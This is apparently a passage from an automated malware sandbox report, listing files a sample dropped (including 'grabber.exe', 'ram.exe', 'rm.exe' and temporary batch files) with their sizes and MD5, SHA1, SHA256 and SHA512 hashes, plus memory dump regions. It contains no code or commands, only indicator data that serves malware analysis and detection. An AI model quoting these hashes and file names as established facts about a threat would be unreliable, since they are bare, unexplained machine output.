
SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
0026cdd9bbc34b9de2447c0eb04c14b5

SHA1
ab7713fe5fbbb23031937dd1dc7d0fa238884ad4

SHA256
cf5a1c42641a83dd41fe89923591962b7ad189006342c7a67669239688f84a2d

SHA512
62aab723672e2731946f4bbf6a3d92609ff94384e324f3c50e803095529baf848ce2cd37219a059ced4c3f559e598bd9b900b9dd8aa0657adca6d845127797fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
ab24765a7393bd3cef8acbf0a617fba2

SHA1
ef2c12a457a11f6204344afed09a39f4d3e803cb

SHA256
3a03c7efabe880ae9f283b1cf373d3f09d07ab619028319b3599b643ae140d47

SHA512
e16306674a8c89f54467d7fba3857e1e0bdf3729f5de9f4451520cfbddfa535c4d653dde6efcac38efd693e9b3e4965fcd08c559e720c372feca65050b46e355

Download Submit
C:\Users\Admin\AppData\Local\Temp\40AE.tmp\40BE.tmp\40BF.bat
Filesize
202B

MD5
040dc40ccd7346ace502b30584d4d5a0

SHA1
886b8f5f079db8f5569235aa6dff74c1cf89942d

SHA256
f209745a8497c9b93a16dda0bf627dc88662184b00658013fec202e129f64450

SHA512
0319239eaebf27ff0f6c4be1b9f737da31d39faccbf47f6d0a0506d2771515928b38981d75365a0307defd530ff68b4de37d0af89519d052037782a741c7dc02

Download Submit
C:\Users\Admin\AppData\Local\Temp\6B33.tmp\6B34.tmp\6B35.bat
Filesize
230B

MD5
abdb6860d790577e02cca5005866bbe8

SHA1
6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37

SHA256
ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0

SHA512
1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jiulcozm.3er.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\wlms.exe
Filesize
63KB

MD5
74820650cbe9027cbd4766d9ef53af42

SHA1
d97e675f6526f38ac2b7b7fe720dda538217f3a3

SHA256
552b0815f8d176917fa1d0006b72079be0ee1aa2ba7adceffb97f6dd963fb142

SHA512
28a34dbe459e21fd01fff30dcc63f2d3c9083ffd04f221aeba9de3401b24b90f6af90bf8929a6ad186d856051bf5d87053e0c1ee8ebc03e752ff3e59ee639f3c

Download Submit
C:\Users\Admin\Desktop\cards.json
Filesize
4B

MD5
37a6259cc0c1dae299a7866489dff0bd

SHA1
2be88ca4242c76e8253ac62474851065032d6833

SHA256
74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b

SHA512
04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

Download Submit
C:\Users\Admin\Desktop\grabber.exe
Filesize
120KB

MD5
4e1e436848d533c9a00b762ac148786d

SHA1
42962a264fbdbc96eb8267052298be9143ecd8bf

SHA256
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd

SHA512
59d16efac5f0ea7c62d18ef30032eba907b8d6c097463a8244f3d709c85b90ec12387c94a4d8a35dfb59d0cbd2dc02d0b39a1f6bd12c5ccd050d552070fdf30d

Download Submit
C:\Users\Admin\Desktop\ram.exe
Filesize
12KB

MD5
dd58e11e7c61268d0de8864e0637ff19

SHA1
415c42ace743a95877cba3570890bcfb213b689c

SHA256
5b85b5c59d8c9e0d592a189a7323199d0abf2b32beeda71700159f14008c4595

SHA512
25159f7042bc7ae3db9f3b7eac85f9059a49959f24c1f7b8af5cb55fd0624e3e04496e8ebd915698f11be9585ee1802490136048fa34b688ba2ec1c9665e4b1c

Download Submit
C:\Users\Admin\Desktop\ram.exe
Filesize
7.6MB

MD5
2c93399e0b0fc11cd03a56fc844a4816

SHA1
d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00

SHA256
081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155

SHA512
dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8

Download Submit
C:\Users\Admin\Desktop\rm.exe
Filesize
64KB

MD5
a43a55c5578f61d05ce146ead83e745a

SHA1
83093f791120d3e74b0d0847aebc52d3c9f04078

SHA256
de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f

SHA512
a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d

Download Submit
memory/32-9-0x000001117D3E0000-0x000001117D402000-memory.dmp

Filesize
136KB

Download
memory/2184-88-0x00007FF74F9A0000-0x00007FF7501D3000-memory.dmp

Filesize
8.2MB

Download
memory/3140-59-0x00007FFCA0DF0000-0x00007FFCA18B1000-memory.dmp

Filesize
10.8MB

Download
memory/3140-8-0x00007FFCA0DF0000-0x00007FFCA18B1000-memory.dmp

Filesize
10.8MB

Download
memory/3140-7-0x0000000000170000-0x0000000000186000-memory.dmp

Filesize
88KB

Download
memory/3140-6-0x00007FFCA0DF3000-0x00007FFCA0DF5000-memory.dmp

Filesize
8KB

Download
memory/3488-95-0x0000000000490000-0x00000000004A6000-memory.dmp

Filesize
88KB

Download